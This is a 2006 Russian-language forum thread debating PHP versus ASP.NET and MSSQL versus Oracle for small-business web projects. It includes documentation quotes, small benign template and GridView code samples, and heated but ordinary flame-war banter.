2 Desperado: >да нет, не согласен. я вижу что эта телега оказывается >эфективней на подавляющем большинстве задач SMB рынка. и при >этом дешевле (даже с ораклом) Вы готовы предявить какие-то факты, что плохо в ASP.NET по сравнению c PHP, которые мы можем проверить и убедиться? That's probably one reason that SQL Server 2000 limits the number of nesting calls or nesting levels to 32; you can use a global variable @@NESTLEVEL to check the nested level of the procedure at runtime. Уважаемый, Desperado. Вы похоже когда-то действительно работали с MSSQL 2000, но с SQL 2005 не работали, поэтому слабо представляете что там к чему. Я все понимаю, воспомнинания о SQL2000, но почему вы всех заставляете пользоваться технологией почти 7 летней давности? Еще раз для тех кто в танке и просто не желает читать документацию. Уровень рекурсии определяется хинтом MAXRECURSION и может быть принимать значения от 0 до 32767. По умолчанию 100. Самому то не стыдно лажаться? Каким образом строятся рекурсивные запросы вы прочитаете здесь. Я правильно понимаю, что вы позиционируете себя как эксперта в этой предметной области? "в mssql2k5 в этом плане ничего не изменилось" Слабовато будет. Про остальное позже отвечу.
	Chkalofff 17 Oct 2006 11:17 AM
Каким образом строятся рекурсивные запросы вы прочитаете здесь: http://msdn2.microsoft.com/en-us/library/ms186243.aspx
	Desperado 17 Oct 2006 11:47 AM
2Chkalofff давайте всеже вы не будете со мной спорить ? CTE это рекурсия в языке SQL, вам же толкуют про процедурный язык T-SQL, ну нельзя же настолько невьезжать, я понимаю что там тоже мелькает слово рекурсия ... но откройте же наконец документацию sql2k5SQL Server 2005 Books Online, Nesting Stored Procedures, неужели так сложно ? Stored procedures are nested when one stored procedure calls another or executes managed code by referencing a CLR routine, type, or aggregate. You can nest stored procedures and managed code references up to 32 levels. http://msdn2.microsoft.com/en-us/library/ms190607.aspx Nested Triggers Triggers can be nested to a maximum of 32 levels. If a trigger changes a table on which there is another trigger, the second trigger is activated and can then call a third trigger, and so on. If any trigger in the chain sets off an infinite loop, the nesting level is exceeded and the trigger is canceled. http://msdn2.microsoft.com/en-us/library/ms189799.aspx
	Desperado 17 Oct 2006 12:06 PM
2Chkalofff >Нет, как угодно обновляйте. >Причем работает что с SQL2005, что с Orcale. единственно, что отличает sql2k5 от sql2k это механизм notification services, это единственно что может заюзать .net, но это механизм подпищика с тучей накладных расходов - сумневаюсь я, что .net юзает этот механизм. можно url на доку ?
	none 17 Oct 2006 1:08 PM
2Linfan: вот просматриваю эту "переписку" с Chkalofff... и думаю - господин нашёл время нафигачить стока текста, что переплюнул, я полагаю ;), в этом топике (по кол-ву строк и потраченному времени) создание твоего словаря на ПыхПыхе (интересно подсчитать ;) Предлагаю посчитать эти параметры - возможно это явится очередным доказательством "преимуществ" ДотНетчиков и их любимой платформы (и их пустобрёхства ;)
	Chkalofff 17 Oct 2006 1:52 PM
2 Desperado: Таймаут до вечера беру. Цейтнот на работе. Вечером постараюсь сразу на все ответить.
	Linfan 17 Oct 2006 2:19 PM
2none: похоже ты прав! Сейчас посчитал code+css+html templates= 5кил :)) из них чистый код php - 3 кило. Не серьезный проект - по-взрослому одно только предварительное обсужение манагеров должно этак на по-мега тянуть, а тут мелочь пузатая. :))
	Linfan 17 Oct 2006 2:25 PM
Chkalofff: "Еще раз, для тех, кто в танке. Нюк - это сторонее решение." СПЕЦИАЛЬНО ДЛЯ ЗАСЛУЖЕННОГО ДОТНЕТ ТАНКИСТА: PHP - html-embeded язык и из этого факта ненавязчиво вытекает и локализация и темезация и отделение кода от html. Короче говоря - вам батенька НЕЗАЧОТ по знанию основ предмета спора.
	xacid 17 Oct 2006 3:22 PM
что нам дает пехапе - пехапе нам дает портабельность и вездесущесть распространненого хостинга вплоть до бесплатности оного (хостинга). что ИНОГД бывает РЕШАЮЩИМ фактором при всех реальных НЕДОСТАТКАХ пехапеха... сам убедился недавно. я бы джаву лучче выбрал бы, но у клиентов хостинг был тока на пехапе. хотя провайдер мог и джаву захостить при необходимости. но значительно дороже. в итоге НАШЕЛ _нормальный_ ФРЕЙМВОРК на пехапе (ссылку приводил уже) и все работает...
	anonymous 17 Oct 2006 4:08 PM
Ужоснах!
	Linfan 17 Oct 2006 5:14 PM
2xacid: Предложил бы клиенту дотьнет - вон как нахваливают труженики ;)
	Виктор Гичун - mailatilekt.ru 17 Oct 2006 9:17 PM
Хочеться добавить к Вашему спору немного статистики http://www.portal2b.ru/sites2b/second.aspx?razdel=349&block Id=52 по опыту могу сказать что цифры и информация очень даже близки к реальности PHP всегда будет занимать свою нишу несложных решений, но для серьезных решений использование asp.net имеет неоспоримые преимущества
	Linfan 17 Oct 2006 9:59 PM
Виктор Гичун: БУГАГА!!! Вы этот бред сивой кобылы читали или так - рядом валялись? Что не цифра - то абсолютная ерунда! === >>Стоимость хостинга 9,95$ -> стоимость хостинга в Техасе 8.95$ в России от 3$ >>Стоимость CMS 600-800$ - 8-( ЗА ШО???? За phpFusion или Нюку/ПостНюку и иже с ними (их десятки, если не сотни)??? >>Система управления контентом (CMS) Рога и копыта 2000 - ну батенька, вы себе польстили! ШлангоПонт именно так и можно назвать! >>Поддержка произодителя - НЕТ БРЕД! Провайдер обычно использует официальный дистр (напр. RHEL) >>Обновления - поддержки нет, либо за дополнительную плату - БРЕД! см.выше + полностью свободные дистры Debian/Gentoo/WhiteBox имеют бесплатные обновления. >>Перенос на свой сервер -требуются все характеристики сервера донора, подбор такой-же версии ПО и установленных определенным образом патчей и обновлений, узко специализированный сотрудник ЕРУНДА! Если не использовать редкие модули - все пучком. >>Построение интранет-сайта - невозможно, либо написание портала с "0" Аффтар! бросай курить всякую мокрохвостовскую дрянь! КОРОЧЕ - аффтар сравнения отъявленный ЛЖЕЦ! 2Виктор Гичун: Вам сюда - http://netstat.ru Может поможет?
	chkalofff 18 Oct 2006 1:10 AM
2 Desperado: По поводу SQL Cache Dependency. Вот ссылка на доку: http://msdn2.microsoft.com/en-us/library/system.data.sqlcli ent.sqldependency.aspx А здесь доступно растолковано: http://www.theserverside.net/tt/articles/content/ADONET_Sys temXML_Chapter5/Homer05.pdf По поводу рекурсии. Мой косяк, признаю. По поводу Arrays. Ровно в таком виде нет, но не вижу причин использовать XML для этого. По моей практике такого рода зачади встречаются не очень часто. Далее по поводу ваших ссылок между объектами. МС тут проповодует другой метод. А именно, хранение схемы БД в системе контроля версий в виде единого проекта БД в Visual Studio 2005. Соответветственно, там в проекте отследиваются корректность частей схемы. Скажем сторедпроцедура должна обращаться к существующей таблице и т.д. Корректность проверяется на уровне проекта. Там же осуществляется рефакторинг БД, пишутся юнит-тесты для БД и т.д. Теже вещи, что вы описали соотвественно решаются другими средствами, но такой подход более системный, на мой взгляд. Ведь код БД становится частью кода проекта. Т.е. ломается существующий подход, когда разработчики работают с системой контроля версий и все их действия регламентированы и остлеживаются, а БД хоть и сущетсвует на нескольких серверах (продакшн, тестовый, девелопмент), но стоит особняком и не подченяется общим проектным правилам. Ну что там по поводу ODP.NET? Кто-то утверждал что там нет кучи возможностей, что есть в PHP в связке с Oracle...
	chkalofff 18 Oct 2006 1:12 AM
2 Linfan: >PHP - html-embeded язык и из этого факта ненавязчиво вытекает и >локализация и темезация и отделение кода от html. Сам-то понял что сказал?
	chkalofff 18 Oct 2006 1:14 AM
2 Linfan: >КОРОЧЕ - аффтар сравнения отъявленный ЛЖЕЦ! Какой вы чувствительный! :)
	Linfan 18 Oct 2006 1:23 AM
chkalofff: слушай, ну ты же не глупый человек, прекращай дурня валять. Ладно г-н Гичун тупит шо в статье, шо в треде. Простейшие конструкции типа: include($THEME); обеспечивают даже на примитивном уровне темезацию. А внедрение пыхпыха в хтмл: <tr><td> <font style="COLOR: #3250A2;"> <?=$HEADER?> </font> </td></tr> позволяют легко даже в примитивных приложениях осуществлять локализацию и отделять код от хтмл-темплейтов.
	Linfan 18 Oct 2006 1:40 AM
2chkalofff:P.S. Если не сложно, приведи аналогичные примеры для дотнета.
	Chkalofff 18 Oct 2006 10:40 AM
2 Linfan: <tr><td> <font style="COLOR: #3250A2;"> <?=$HEADER?> </font> </td></tr> Ну это вариант сильно простой, он показывает только то, что в отдельные части HTML вы можете выводить какие-то значения. Давай-то посложнее, скажем нужно на странице некие повторяющиеся элементы вывести. Скажем вот таблицу. При этом HTML страница должна содержать только декларативные элементы, т.е. теги (не обязательно только HTML теги), и не сожержать соотвественно императивных инструкций. А код PHP должен сожердать только императивные инструкции и не содержать вкраплений HTML. Вот это и есть отделение кода от html. По поводу локализации и примеров .NET позже отвечу.
	Desperado 18 Oct 2006 10:53 AM
>По поводу SQL Cache Dependency. мля - как я и ожидал просто интерфейс к notification services, обсолютно бесполезная вещь - там же четко пишется: Note SqlDependency was designed to be used in ASP.NET or middle-tier services where there is a relatively small number of servers having dependencies active against the database. It was not designed for use in client applications, where hundreds or thousands of client computers would have SqlDependency objects set up for a single database server. и на оракле не работает. xml - вместо асоциативных вложеных масивов, не понял это как. если только для того чтоб передавать в субд, это просто тормоз, да и только плоским может быть, короче не канает никак. на счет более системного подхода - подход офигеть :) может раз пошла такая пьянка вынесем туда и контроль внешних ключей ? какой смысл в этом проэкте если у меня таблеспейс ушел в оффлайн? об этом ни процедуры ни проэкт не узнают. да и студия дорого и с этой фичей наверника будет уже не для SMB рынка. МС это не может сделать принципиально, т.к. у них можно DDL использовать в процедурах, т.е. половина DML в процедуре может работать с полем int, а вторая половина после alter с тем же полем varchar ... >Ну что там по поводу ODP.NET? Кто-то утверждал что там нет кучи возможностей, что есть в PHP в связке с Oracle... я сначала хочу выбить кто круче asp.net+mssql или asp.net+oracle
	Chkalofff 18 Oct 2006 11:13 AM
2 Desperado: >мля - как я и ожидал просто интерфейс к notification services, >обсолютно бесполезная вещь - там же четко пишется: >SqlDependency was designed to be used in ASP.NET or middle- >tier services where there is a relatively small number of >servers having dependencies active against the database. It >was not designed for use in client applications, where >hundreds or thousands of client computers would have >SqlDependency objects set up for a single database server. Если вы не поняли, что здесь написано, я вам растолкую. SqlDependency должен использоваться в архитектурах ASP.NET или в сервисах промежуточного слоя. Т.е. то что доктор прописал. И SqlDependency на двух звенную архитектуру, когда кеширование с помощью SqlDependency осущевствляет каждый клиент. Смысл понянен? Я специально не стал дословно переводить, а объяснил смысл. Возвращаясь к вопросу. Обоснуйте, почему он таки бесполезен? Или у вас просто предубеждение? далее позже.
	Desperado 18 Oct 2006 12:24 PM
2Chkalofff посмотрите архитектуру notification services - подпищики, пропагандаторы, куча накладных расходов и работает только в mssql2k5 (наверника только в крутых редакциях). в пхп+оракл все проще - из тригера шлется http запрос который скидывает кеш, not a rocket science :) (если хочется со всеми этими подпищиками то есть и такие механизмы) короче, в mssql2k5 появилось много полезного, все таки 6 лет над ней колдовали, НО ей еще и года нет, в продакшене их единицы и до нормального разрабатывания БЛ в t-sql еще много чего не хватает. подавляющее же большинство вообще сидят еще на sql2k - а там небыло ни схем ни ексепшенов (неговоря уже о пакетах, масивах, рекурсии и т.п.), понятно что в такой ситуации приходится больше ориентироватся на БЛ на мидл-тиер, но тут тяжело конкурировать в SMB, где выжимается из маленького сервера все что можно.
	vinni - vinnitrashyandex.ru 18 Oct 2006 1:07 PM
И то, и другое хорошо, равно как и имеет недостатки. Выбирайте то, что вам непосредственно удобнее для разработки. Единнственное, против чего я - это убеждение окружающих в безпорочности того или другого подхода. А насчет дыр и т.д., они были, есть и будут, такова природа программирования, до тех пор, пока этим занимаются люди.
	Chkalofff 18 Oct 2006 3:31 PM
2 Linfan: По поводу локализации. Есть понятие свойство такое Culture, как у самой страницы, так и у входящих в нее элементов, контролов там и т.д. Culture определяет то, каким образом форматируется дата. Скажем у американцец 10/18/2006, а у нас 18.20.2006. Ну там короткие, длинные варианты написания и т.д. Направление письма (скажем у евреев справа на лево). И еще ряд параметров характерных для культуры. Соотвественно, параметры культуры будут влиять потом как на вывод информации, так и на ввод. Скажем валидация даты, введенной пользователем в текстовое поле. По поводу контента. Различные сообщения, тексты, картинки - да, это можно зранить в ресурсах, которые динамически будут присвязиваться тем или иным частям страницы в зависимости от текущей культуры. Это как раз больше похоже на то, что вы написали, чтолько делается стандартным образом. По поводу отделения кода от разметки. Тут целый арсенал всего. Это собственнно сама модель кода, когда декларативная часть находится в одном файле, а императивная в другом. Скажем для одной "логики" может быть несколько разметок. Разметку может редактровать дизайнер html-кодер. Логику делает програмист. Логика и разметка даже компилаться отдельно. Т.е. логика может поставляться без исходных кодов собранная в одну или несколько сборок например. Потом контролы - кирпичики, из которых вы можете строить сайт, как стандартные элементы. Каждый такойСоотвественно, эти контролы на самой странице являются деклараративными разметочными элементами.
	Chkalofff 18 Oct 2006 3:37 PM
Потом контролы - кирпичики, из которых вы можете строить сайт, как стандартные элементы. Каждый такой кирпичик является декларативным элементом на странице разметки. <td> <asp:Calendar ID="Cl1" runat="server" /> </td> Каждый контрол имет набор декларотивных парамтеров (атрибутов), как и другие HTML теги. Естественно, при рендеренге страницы он срендерится уже в набор тегов. Далее, master-pages, темы (стили и скины). Все это позваляет управлять особенностями графики отделив их подальше от логики. Т.е. логика логикой, а графика графикой. Концептульно вроде все. Вам примеры кода какие-то нужны?
	M&M's 18 Oct 2006 4:43 PM
А вот обсуждение Атилекта на форуме Оборота.ру: 29.09.06 17:37 Сергей Ну нравится вам Атилект или нет нам совершенно не интересно. В общем то и на остальных пофиг. Клиенты валят толпами, раз сайт на первом месте. Вы сделайте миллион в год, потом выступайте. 02.10.06 18:50 Язва О, так Сереженька проявился более конкретно. Он значится оттудава... Понятно. Милый друг,было бы странно, если бы вы пели что-то иное, чем Вы тут заливали. Я желаю Вам одного, чтобы Вы тоже самое с чистой душой и открытым сердцем говорили бы и через пару годков. Да боюсь я, что уже через годик Вам станет стыдно за то, что Вы тут наплели... Конечно, стыдно Вам станет только при условии, что Вы умный человек. Надеюсь, что это так... Удачи Вам. И кстати, учтите - сайт на первом месте и клиенты толпами - это не прямая зависимость. И не вечная, увы... А с отношением таким - "мы белые и пушистые, а вы все быдло и чмо" - далеко не уехать вам и вашей конторке. Найдется неизбежно более чмистое чмо, которое обламает вам рожки, да и ножки... --- Вот вам и дот нет...
	Linfan 18 Oct 2006 4:43 PM
Chkalofff: итог - и в одном и в друго случае присутствуют одни и те же фичи, с разными вариациями. Кстати, в jsp примерно то же. Так что флейм ни о чем. Но в плане себестоимости проекта php наиболее экономичный вариант: по базовым показателям хостинга где-то в 1.5 раза, по стоимости софта - можно даже не сравнивать (чистый МС vs OSS).
	Chkalofff 18 Oct 2006 5:24 PM
Linfan: >итог - и в одном и в друго случае присутствуют одни и те же >фичи, с разными вариациями Что-то я токого не увидел. Где нормальное отделение кода? (см. вопрос от 18 октября, 2006, 10:40). Где централизованное управление "культурами", форматированием вывода и ввода информации?
	Переводчик 18 Oct 2006 5:43 PM
2 Linfan: > Где нормальное отделение кода? (см. вопрос от 18 октября, 2006, 10:40). >Где централизованное управление "культурами", форматированием вывода и ввода информации? Попробую перевести вопрос: Chkalofff понял Вашу мысль, что на клумбе удобнее работать лопатой, а не шагающим экскаватором. Он просто не может понять, где у Вашей лопаты ковш, гусеницы и кабина? И куда в эту лопату, черт возьми, заливать солярку?
	Виктор Гичун - mailatilekt.ru 18 Oct 2006 6:05 PM
Linfan >по базовым показателям хостинга где-то в 1.5 раза дешевле на PHP Да что Вы хостигом прикрываетесь, любая компания, заказывающая сайт арендует офис, платит за банковское обслуживание, зарплату служащим и т.д. и т.п. и для них платить в месяц 9 или 29 долларов значения не имеет, а если имеет, то тогда конечно же они обратятся к Вам и сделают себе по их меркам супер сайт на PHP за 3 копейки но без каких либо гарантий. А если в компании работает не полтора землекопа то они даже не будут задумываться дорого 29 долларов за хостинг или дешево, ведь он за офис платят не меньше 4-5 тысяч баксов каждый месяц. Прям детский сад какой-то тоже мне нашли преимущество PHP дешевый хостинг :)) Дешевые программисты, дешевые дизайнеры и как слествие сайт на php с кривыми адресами с неудобной админкой и с убогим дизайном. Результат - съэкономили на всем на чем можно, а потом думают что-то никто из интернет не звонит, странно :))
	Виктор Гичун - mailatilekt.ru 18 Oct 2006 6:09 PM
>> M&M's А вот обсуждение Атилекта на форуме Оборота.ру: А причем тут .net :) Или так, к слову пришлось?
	Linfan 18 Oct 2006 6:14 PM
2Переводчик: видимо вы правы :) 2Chkalofff: Ваш фрагмент: <td> <asp:Calendar ID="Cl1" runat="server" /> </td> на пыхпыхе будет выглядеть так: <td> <?Calendar("Cl1","server");?> </td> Отделение кода - ровно тоже что и в асп. Семантика только другая. Насчет "централизации" вас это беспокоит: http://ua2.php.net/setlocale ? Дык вроде под никсами с локалями вопрос уже давно решенный в отличие от некоторых ;) Короче, ни пыхпых ни дотьнет - принципиальных разниц в возможностях нет. Отличие лишь в фреймворках - на пыхпыхе их тучная туча, на дотьнете - адын на всех. Поэтому если нашли уязвимость и ломанули форум phpBB - то многие форумы использующие этот немодифицированный движок подвержены атакам. Те кто юзает другие движки или самостийно допиливает phpBB - спят спокойно. В случае с дотьнетом - находят уязвимость, имеют всех и все ждут когда МС расчехлится.
	Desperado 18 Oct 2006 6:15 PM
похоже у ентого атилекта дела совсем плохи, собрали студентов кодорые кодят за еду (судя по уровню знаний), вот и приходится нестандартно пиарить.
	Виктор Гичун - mailatilekt.ru 18 Oct 2006 6:26 PM
Desperado >>похоже у ентого атилекта дела совсем плохи, собрали студентов кодорые кодят за еду (судя по уровню знаний), ага, прямо в точку, именно студенты и именно за еду и откуда Вы только все про нас знаете, может работали у нас? :)) >>вот и приходится нестандартно пиарить. то есть пиарят компании только когда все плохо?? бедный билайн и иже с ним, как же у них все плохо раз столько пиара :))
	straus 18 Oct 2006 6:30 PM
2Chkalofff Вы пытаетесь сравнить танк с легковым автомобилем и кричите: "где активная броня, где гладкоствольная пушка, где гранаты дымовой завесы, где, в конце концов, гусеницы?"
	Linfan 18 Oct 2006 6:34 PM
2Виктор Гичун: >Да что Вы хостигом прикрываетесь, любая компания, заказывающая сайт арендует офис, платит за банковское обслуживание, зарплату служащим и т.д. и т.п. и для них платить в месяц 9 или 29 долларов значения не имеет, а если имеет, то тогда конечно же они обратятся к Вам и сделают себе по их меркам супер сайт на PHP за 3 копейки но без каких либо гарантий. Клиент - клиенту рознь. Попадаются и амеры, которые требуют поминутную тарификацию работы аутсорсера. Это все индивидуально. Что касается лично меня - я на заказ сайты не делаю, так что ко мне в этом плане бесполезно обращаться ;) Мои интересы в области векторных редакторов: http://sk1.sourceforge.net/?op=about >А если в компании работает не полтора землекопа то они даже не будут задумываться дорого 29 долларов за хостинг или дешево, ведь он за офис платят не меньше 4-5 тысяч баксов каждый месяц. Ууу... я смотрю на форуме были правы... "Мы из Москвы, поэтому белые и пушистые, а вы все быдло и чмо"... А не приходилось задумываться над тем, что за окружной тоже есть жизнь? Или напр. что сайт может быть не один, а этак штук надцать? >Прям детский сад какой-то тоже мне нашли преимущество PHP дешевый хостинг :)) На этом держится практически весь опенсорс - не верите? Найдите на дотнете сайты приличных OSS проектов. Только самые крупные - на джаве. Все остальные - php. >Дешевые программисты, дешевые дизайнеры и как слествие сайт на php с кривыми адресами с неудобной админкой и с убогим дизайном. Вы хотите обсудить проявления кривизны и убогости в вашей дотнет продукции? Графикой, флешинами и джавой это не всегда прикроешь. Ели "да" - сцылки в студию. Уж что-что, а местная публика критику наводить любит. Можем и на ЛОРе (linux.org.ru) запостить про этот ваш эксперимент - и вы узнаете о себе много нового ;)
	Desperado 18 Oct 2006 6:43 PM
> именно студенты и именно за еду и откуда Вы только все про нас знаете, может работали у нас? :)) зачем у вас работать, я по уровню высказываний и "статье" достаточно точно могу, вы мало того, что совершенно не сечете о чем пытаетесь говорить, так еще и не понимаете фундоментальных вещей: что язык, что фреймворк, что такое компилятор, т.е. вы явно не высокооплачиваемый специалист. не знаю как в России, но там где я обитаю, претендент с такими знаниями может расчитывать на зарплату которой хватит ровно на еду ...
	Chkalofff 18 Oct 2006 6:46 PM
2 Linfan: <td> <?Calendar("Cl1","server");?> </td> Ок, вызов функции Calendar() мне выведет некий HTML код при рендеренге страницы. Как вы построете так этот Calendar, чтобы в нем HTML был отделен от кода? Предположим дизайнеру нужно передизайнить Calendar, он что в ваш код полезет? Еще раз. Отделение HTML от кода. Это когда HTML не содержит инструкций, а код не содержит вкраплений HTML.
	Chkalofff 18 Oct 2006 6:51 PM
2 Linfan: Т.е. я хочу скачать, что вы показываете все время только 1 сторону. Типа вот я могу в HTML вывести такое-то значение или кусок стекста. Ну и что?
	Desperado 18 Oct 2006 6:54 PM
2Chkalofff посмотрите http://www.xisc.com/ может увидев знакомые названия вы наконец постигните что такое фреймворк
	Linfan 18 Oct 2006 7:57 PM
2Chkalofff: в имплементации календаря хтмл темплейты внедряются в тело функции через include("your_template.html") Если есть желание посмотреть как это выглядит, скачайте какой-либо из пыхпыховских CMS, благо код открытый. 100% отделить код от хтмл не получится ни в пыхпыхе ни в дотнете - всегда найдутся места, где надо вставить напр. закрывающий дескриптор или какой-нить <br>. Можно и такой "темплейт" набоянить, но куда проще влепить ?></table><? да и исполняется это шустрее, чем include. Если нужно че-нить продвинутое на xml темплейтах - такие заморочки тоже существуют, но назвать это простым кодингом уже нельзя. Короче, прекращайте себя мучать сомнениями. МС многие идеи в асп аккуратно слизала с пыхпыха и джавы, переварив "под себя". :) Так что не насилуйте свой моск пытаясь найти божье провидение в продуктах жизнедеятельности МС ;)
	xacid 18 Oct 2006 8:13 PM
2 Виктор Гичун: а скажите чесно - вы зачем эту статью написали?) или по вашему никто кроме вас не в курсе в чем разница между пехапе и доднетом? ну за исключением ваших будующих клиентов, разумееца... ;)
	Linfan 18 Oct 2006 8:23 PM
2Виктор Гичун: Ежели вы все-таки решитесь обсуждать свою продукцию, сразу заготовьте овет на следующий вопрос: В центре сайта antilekt.ru (это все-таки фейс вашей конторы!), на первой странице, там где British Tobacco и т.п. можно увидет в коде следующие конструкции: <div class="mac8"> <div class="mac7"> <div class="mac6"> <div class="mac5"> <div class="mac4"> <div class="mac3"> <div class="mac2"> <div class="mac1"> <div class="mac0"> ... </div> </div> </div> </div> </div> </div> </div> </div> </div> Это как, аля "форматирование документа пробелами" как принято у чайнегов? ;) "Стоит дотнетчик, в дотнет обутый, либо дотнет не едет, либо дотнетчик ..." :))
	Linfan 18 Oct 2006 8:43 PM
2Виктор Гичун: Кстати, а почему такая низкая посещаемость вашего ресурса? http://top.mail.ru/Rating/Internet-Design/Today/Hosts/1.htm l#28 Макс- 600 хостов в день и 2500 страниц (обычно 400 на 1800). Мдя.... серьезный энтерпрайз-солюшн нужен для такой аудитории... :)) Сайт на пыхпыхе легко выносит нагрузку 5000/50000. И стоило ради такого городить огород? И после этого еще пишут в статьях про производительность, ресурсы и всякое такое :)))
	Linfan 18 Oct 2006 9:43 PM
2Виктор Гичун: "все до кучи валить и HTML и .net" Насколько я понимаю, хтмл - это то, что генерит ваш продукт. Если результат генерации паршивый, значит таково качество продукта. Я уж молчу про javascript, которого напихано, судя по всему более чем нужно. Возникают также подозрения и в плане познаний CSS. Так что ПРЕВЕД вашему Илье Третьякову ;)
	Питти 18 Oct 2006 9:46 PM
миня завут Питти и у миня гигантские яйца!!!
	Linfan 18 Oct 2006 9:59 PM
2Виктор Гичун: еще пример: именование стилей kont_123_2 kont_123_1 kont_123_3 kont_123 up1 up2 up3 мдяяя... сии корни похоже уходят в Бейсик :)) И ангельский не мешает подтянуть, ибо ассорти из транслитера и английского никого в экстаз не приводит: .uslugi .news .otzivi .company И вообще - css таблицы должны быть human readable а не только executable. Вдруг кому-то придется ваши продукты саппортить. Поэтому, выступать с заявлениями насчет "дешевых пхпшных поделок" совершенно не стоит. Лучше внутри собственной конторы code style подтянуть. Для примера посмотрите опенсорсные ПХП фреймворки - в них есть чему поучится.
	SlvUn - slvunmail.ru 19 Oct 2006 1:45 AM
Блин, ну вы ребята отожгли напалмом, ни па деццки :)) В начале у меня даже стало возникать сомнение о том, что Chkalofff это ребрендинг выздоровевшего РТО. Но почитал повнимательнее и понял, что нет, ошибся, у этого класс игры невысок. :) 2Chkaloff: Вы частенько передергиваете (и, кстати, зачастую не замечая этого), выпячивая некие плюсы и умалчивая или не зная минусов, пару примеров приведу. >Я все понимаю, воспомнинания о SQL2000, но почему вы всех заставляете пользоваться технологией почти 7 летней давности? Простите, а когда SQL2005 вышел а? Напомните, пожалуйста, для всех, а то может я запамятовал? И скажите, какой именно технологией приходилось пользоваться до его выхода? И представьте себя на месте руководителя, у которого более-менее отлизано все для MSSQL200, а тут вышел 2005. Как быстро он перейдет на него? Так ли там все пушисто? Или же лучше поюзать технологии 6-ней давности? > Концептуальное отделение дизайна от кода. Пусть даже кода обслуживающего презентационный уровень. Простите, а что это за такая священная корова? Для чего это нужно-то, _настолько_ строго? Мне что-то не приходилось читать, о том, что у МС написано - главная концепция .NET - это строжайшее отделение кода от дизайна!!! Ибо иначе - некошерно и так не в коем случае низзя. И что значит концептуально отделить??? Получается один может дизайнить дизайн, а второй, независимо от первого, кодить код? Который ни коим образом не связан с дизайном? Или же вы имели в виду, что когда создается дизайн, то к нему автоматом генерится код, который не надо писать самому? Так тут нет нового ничего, это тоже визуальное программирование, при котором при перетаскивание контролов IDE генерит какой-то код, (причем далеко не весь, заметьте). Или-же под словом концепция Вы подразумеваете что-то другое? Тогда поясните что именно. Да и это, как бы сформулировать-то. Понимаете, никто Вам не пытается сказать, о том, что .NET+IIS+MSSQL лажа. Более того, легко представить задачу, при решение которой отказ от вышеприведенной связки в пользу PHP будет явным признаком идиотизма. Вам пытаются сказать, что зачастую для многих проектов среднего класса и подавляющего большинства мелких задач PHP или же LAMP, как вам угодно будет - более чем достаточно, собственно говоря, об этом дискуссия то и идет. Да и потом, .NET он вышел _гораздо_ позже PHP, он _обязан_ быть лучше, просто за счет того, что не нужно наступать на те грабли, по которым прошлись другие средства динамического HTML. Я вот например прекрасно помню то время, когда окромя PHP да пожалуй Cold Fusion не было ничего, да только в то время дядя Билли только-только рамы для Форточек2000 строгал. Так что кесарю-кесарево, а слесарю-слесарево. :)
	Linfan 19 Oct 2006 2:18 AM
2SlvUn: :))) Тред можно смело посвятить светлой памяти РТО - непримиримому борцу с пенгвенятнегами :)
	Злой 19 Oct 2006 11:50 AM
2Chkalofff Еще раз. Отделение HTML от кода. Это когда HTML не содержит инструкций, а код не содержит вкраплений HTML. -- Я хочу позырить как это на дот нете делаеться. Например, есть custom tag <net:prices />. Пускай он выводит таблицу с двумя колонками, название товара и цена. Причем, если цена товара меньше ста баксов, строка должна как-нибудь выделяться. Вот хочу посмотреть на класс, реализующий логику (if (100 < price )) и нечно, содержащие только HTML. Ну и хочется понять механизм взаимодействия класса с нечтом. Только без применения XSLT.
	Aspfan 20 Oct 2006 1:15 PM
Страница или юзер контрол(нужно добавить DataSource): <asp:GridView ID="HighlightCheapProducts" runat="server" AutoGenerateColumns="False" DataKeyNames="ProductID" DataSourceID="ObjectDataSource1" OnRowDataBound="HighlightCheapProducts_RowDataBound" EnableViewState="False"> <Columns> <asp:BoundField DataField="ProductName" HeaderText="Product" SortExpression="ProductName" /> <asp:BoundField DataField="CategoryName" HeaderText="Category" ReadOnly="True" SortExpression="CategoryName" /> <asp:BoundField DataField="UnitPrice" DataFormatString="{0:c}" HeaderText="Price" HtmlEncode="False" SortExpression="UnitPrice" /> </Columns> </asp:GridView> Класс: public partial class CustomFormatting_CustomColors : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void HighlightCheapProducts_RowDataBound(object sender, GridViewRowEventArgs e) { // Make sure we are working with a DataRow if (e.Row.RowType == DataControlRowType.DataRow) { // Get the ProductsRow object from the DataItem property... Northwind.ProductsRow product = (Northwind.ProductsRow)((System.Data.DataRowView)e.Row.DataI tem).Row; if (!product.IsUnitPriceNull() && product.UnitPrice < 100m) { e.Row.CssClass = "AffordablePriceEmphasis"; } } } } И в чем по твоему проблема
	M&M's 20 Oct 2006 2:12 PM
Виктор Гичун: А вот обсуждение Атилекта на форуме Оборота.ру: А причем тут .net :) А при всем. Понты понтами, бабло баблом, но если ты идиот, то это сразу видно, и никуда не денешься...
	Злой 20 Oct 2006 3:37 PM
2Aspfan И в чем по твоему проблема -- А я разве говорил, что в чем то проблема? Тут просто товарисщ Чкалоффф (кстати, куда он пропал то?), утверждает, что дот нет это предел совершенства, а я вот в приведенном коде ничего особенного не увидел. И еще, все-таки хочу посмотреть на пример без CSS, пускай например значение цены меньше 100-а баксов будет выглядет так ...<td><font color="red"> 99$ </font></td>...
	Desperado 20 Oct 2006 4:40 PM
угу, пропал :) наверно ищет страшные косяки в пхпшных фреймворках ... 2Chkalofff так мы с mssql разобрались ? нужно дальше рассказывать преимущества связки php+oracle и логики в субд над .net+mssql на средненьких задачах веба или LAMP на простеньких (типа форум, cms, банерокрутилка)? на счет ODP надо искать тесты DataDirect vs ODP.Net там помню были впечатляющие цифры. (а вообще мое имхо оракл на виндовс платформе - печальное зрелище, даже по тестам tpc-h процентов 10-15 разница.)
	Aspfan 20 Oct 2006 8:01 PM
